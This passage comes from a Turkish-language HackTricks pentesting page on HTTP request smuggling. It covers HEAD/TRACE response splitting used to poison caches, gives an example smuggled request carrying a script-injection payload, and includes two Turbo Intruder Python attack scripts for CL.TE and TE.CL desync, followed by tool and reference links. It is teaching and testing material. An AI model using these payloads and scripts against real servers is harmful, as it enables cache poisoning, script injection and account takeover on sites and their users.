Bu davranışı istismar etmenin bir örneği, **önce bir HEAD isteği sokmaktır**. Bu istek, yalnızca bir GET isteğinin **başlıkları** ile yanıtlanacaktır (**`Content-Type`** dahil). Ve **hemen ardından bir TRACE isteği sokmak**, gönderilen veriyi **yansıtacaktır**.\
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı, HEAD yanıtının gövdesi olarak işleme alınacak ve bu nedenle yanıtta keyfi veriler yansıtılacaktır**. \
Bu yanıt bir sonraki isteğe bağlantı üzerinden gönderileceğinden, bu örneğin **keyfi JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.

### HTTP Yanıt Bölünmesi Aracılığıyla TRACE'nin Kötüye Kullanılması <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**Bu yazıyı**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunun önerildiği belirtilmektedir. Yorumlara göre, bir HEAD isteği ve bir TRACE isteği sokarak, **HEAD isteğine yanıt olarak yansıtılan bazı verileri kontrol etmek mümkündür**. HEAD isteğinin gövdesinin uzunluğu temelde Content-Length başlığında belirtilir ve TRACE isteğine verilen yanıt tarafından oluşturulur.

Bu nedenle, bu Content-Length ve TRACE yanıtında verilen verileri bilerek, TRACE yanıtının, Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak mümkündür, bu da bir saldırganın bir sonraki yanıta tamamen hakim olmasını sağlar (bu, bir önbellek zehirlenmesi gerçekleştirmek için kullanılabilir).

Örnek:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length'e sahip olduğuna dikkat edin, bu da TRACE yanıtının HEAD gövdesinin bir parçası haline geldiği ve HEAD Content-Length'in bittiği noktada geçerli bir HTTP yanıtının kaçırıldığı anlamına gelir):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>
```
### HTTP İstek Smuggling'i HTTP Yanıtı Desenkronizasyonu ile Silahlandırma

Bir HTTP İstek Smuggling açığı buldunuz ve nasıl sömürüleceğini bilmiyorsanız, şu başka sömürü yöntemlerini deneyin:

{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}

### Diğer HTTP İstek Smuggling Teknikleri

* Tarayıcı HTTP İstek Smuggling'i (İstemci Tarafı)

{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}

* HTTP/2 Düşürmelerinde İstek Smuggling'i

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}

## Turbo intruder betikleri

### CL.TE

[https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```
### TE.CL

Kaynak: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```
## Araçlar

* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, tuhaf istek smugling farklılıklarını bulmak için kullanışlı olan bir dil tabanlı HTTP Fuzzer'dır.

## Referanslar

* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)

<details>

<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks'ı desteklemenin diğer yolları:

* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.

</details>